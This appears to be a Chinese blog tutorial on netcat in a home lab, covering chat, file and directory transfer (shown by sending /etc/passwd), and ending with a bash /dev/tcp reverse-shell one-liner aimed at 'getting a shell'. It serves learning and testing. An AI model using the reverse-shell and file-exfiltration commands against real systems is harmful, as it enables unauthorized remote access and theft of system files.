netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。
现内网中有两台机器:Mac: 192.168.1.109 Kali:192.168.1.110
网络聊天
Server: 192.168.1.109
starnight:~ starnight$ nc -l 12345 【服务器监听模式】
Client:192.168.1.110
root@kali:~# nc 192.168.1.109 12345 【客户端进行连接】
这样,在局域网内就能相互进行通讯了。
文件传输
用nc能够进行文件传输,将要传输的文件重定向某个监听端口,然后另一方连接这个端口的时候,数据就能进行流动,完成文件传输。
发送文件
Server: 192.168.1.109
starnight:test starnight$ nc -l 12345 < /etc/passwd
Client: 192.168.1.110
root@kali:~/temp# nc 192.168.1.109 12345 > tmp
可以看到Mac:192.168.1.109上的/etc/passwd已经传输到Kali上了。
接收文件
Server:192.168.1.109
starnight:test starnight$ nc -l 12345 > tmp
Client: 192.168.1.110
root@kali:~/temp# nc 192.168.1.109 12345 < 1.txt
目录传输
传输目录其实跟传输单个文件是一样的,但是要在传输前将文件进行压缩,通过管道,这样就相当于是单个文件了。我们来看看...
Server: 192.168.1.109
starnight:Desktop starnight$ tar -cvf - test/ | nc -l 4444
Client: 192.168.1.110
root@kali:~/temp# nc -n 192.168.1.109 4444 | tar -xvf -
在Server将test文件夹打包之后,通过管道重定向到本机的4444端口,Client连接到Server的4444端口,接收数据直接解压,即可得到test目录。
反向连接
一般来讲,我们最想要的是拿到一个shell,下面我们来看看该怎么做吧。
Server: 192.168.1.107
starnight:~ starnight$ nc -lvv 4444 [服务器端监听4444端口,等待反向连接]
Client: 192.168.1.111
root@kali:~/temp# /bin/bash -i > /dev/tcp/192.168.1.107/4444 0<&1 2>&1
就先总结到这吧...